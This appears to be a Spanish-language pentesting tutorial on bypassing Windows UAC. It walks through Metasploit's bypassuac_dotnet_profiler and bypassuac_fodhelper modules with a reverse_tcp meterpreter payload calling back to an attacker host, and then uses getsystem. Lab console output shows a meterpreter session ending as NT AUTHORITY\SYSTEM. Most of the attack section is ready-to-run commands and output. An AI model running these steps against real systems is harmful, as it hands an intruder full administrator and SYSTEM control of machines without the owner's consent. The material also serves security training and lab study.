Elevación de privilegios (UAC Bypass)
El Bypass UAC (User Account Control)
en Windows es una técnica que permite a un atacante ejecutar código con privilegios elevados (administrador
) sin necesidad de mostrar el cuadro de diálogo de UAC
, el cual normalmente solicita aprobación del usuario para realizar acciones sensibles.
En este tipo de vulnerabilidad hay muchisimas formas de Bypassear
esto, pero los fundamentos de este Bypass
es que se puede hacer esta vulnerabilidad ya que cuando sale el recuadro de dialogo del UAC
de Windows
lo esta cogiendo de una ruta en los registros del mismo la cual se puede modificar sin necesidad de ser administradores, por lo que nosotros podremos modificar eso por una powershell
y cuando se ejecute ese dialogo nos va a ejecutar la powershell
.
Por lo que vamos a utilizar modulos como metasploit
en los cuales ya tienen este tipo de tecnicas de forma automatica y vamos a utilizar contra la maquina windows
el exploit
que el suggester
nos recomendo anteriormente.
msfconsole -q
Una vez que tengamos la maquina comprometida mediante el web delivery
teniendo una shell, la dejaremos en segundo plano con background
, haremos back
y pondremos lo siguiente.
use exploit/windows/local/bypassuac_dotnet_profiler
Y lo configuramos todo:
set session 1
set LHOST <IP>
set LPORT 4455
exploit
Y esto lo que nos dara sera una shell con meterpreter
de forma que seremos el mismo usuario, pero con privilegios de administrador.
Si ese anterior fallara, tendremos mas para bypassear
el UAC
como por ejemplo:
use exploit/windows/local/bypassuac_fodhelper
Configuracion:
set session 1
set LHOST <IP>
set LPORT 7777
set target 1
set payload windows/x64/meterpreter/reverse_tcp
exploit
Info:
[*] Started reverse TCP handler on 192.168.16.139:7777
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\system32\cmd.exe /c C:\Windows\System32\fodhelper.exe
[*] Sending stage (201798 bytes) to 192.168.16.138
[*] Cleaining up registry keys ...
[*] Meterpreter session 2 opened (192.168.16.139:7777 -> 192.168.16.138:49676) at 2024-11-21 07:04:27 -0500
meterpreter >
Y si hacemos un getuid
veremos que seguimos siendo ese mismo usuario:
Server username: DESKTOP-EALA4JN\d1se0
Pero si hacemos el siguiente comando para que nos escale privilegios de forma automatica, veremos lo siguiente:
getsystem
Info:
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
Y si ahora hacemos un getuid
, ahora si que veremos que somos administradores:
Server username: NT AUTHORITY\SYSTEM
Last updated